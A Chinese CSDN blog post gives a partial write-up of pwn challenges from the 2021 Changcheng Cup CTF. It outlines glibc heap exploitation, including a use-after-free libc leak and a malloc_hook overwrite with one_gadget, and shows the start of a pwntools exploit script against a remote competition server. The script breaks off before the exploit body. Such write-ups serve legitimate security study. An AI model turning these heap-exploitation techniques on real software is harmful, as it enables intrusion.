2021长城杯pwn部分wp

最新推荐文章于 2024-09-09 08:58:43 发布

北岛静石

最新推荐文章于 2024-09-09 08:58:43 发布

阅读量6k

点赞数 1

分类专栏： Pwn 做题记录学习经历文章标签： ctf

本文链接：https://blog.csdn.net/eeeeeight/article/details/120386415

版权

本次比赛中，PWN部分主要涉及基础glibc heap题目。在king_in_heap_1中，利用delete函数的Use-After-Free漏洞获取libc地址，通过realloc调整后执行onegadget。king_in_heap_2则通过未置零的UAF控制TC结构体，泄露内存，最终实现ORW。

摘要由CSDN通过智能技术生成

前言:

就, 除了vmpwn都是基础glibc的heap题

king_in_heap_1:

delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体泄露libc, 然后mallochook上用realloc调整一下, 打onegadget就完事了

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=remote('47.104.175.110',20066)
#sh=process('./king')
elf=ELF('./king')
libc=elf.libc
context.binary=elf
#context.log_level='debug'

def magic():
    sh.recvuntil(">> \n")
    sh.sendline("666")
    
def add(idx, size):
    sh.recv()
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(idx))
    sh.recv()
    sh.sendline(str(size))

def delete(idx):
    sh.recv()
    sh.sendline('2')
    sh.recv()
    sh.sendline(str(idx))

def edit(idx, content):
    sh.recv()
    sh.sendline("3")
    sh.recv()
    sh.sendline(str(idx))
    sh.recv()
    sh.sendline(content)

def exp():
    magic()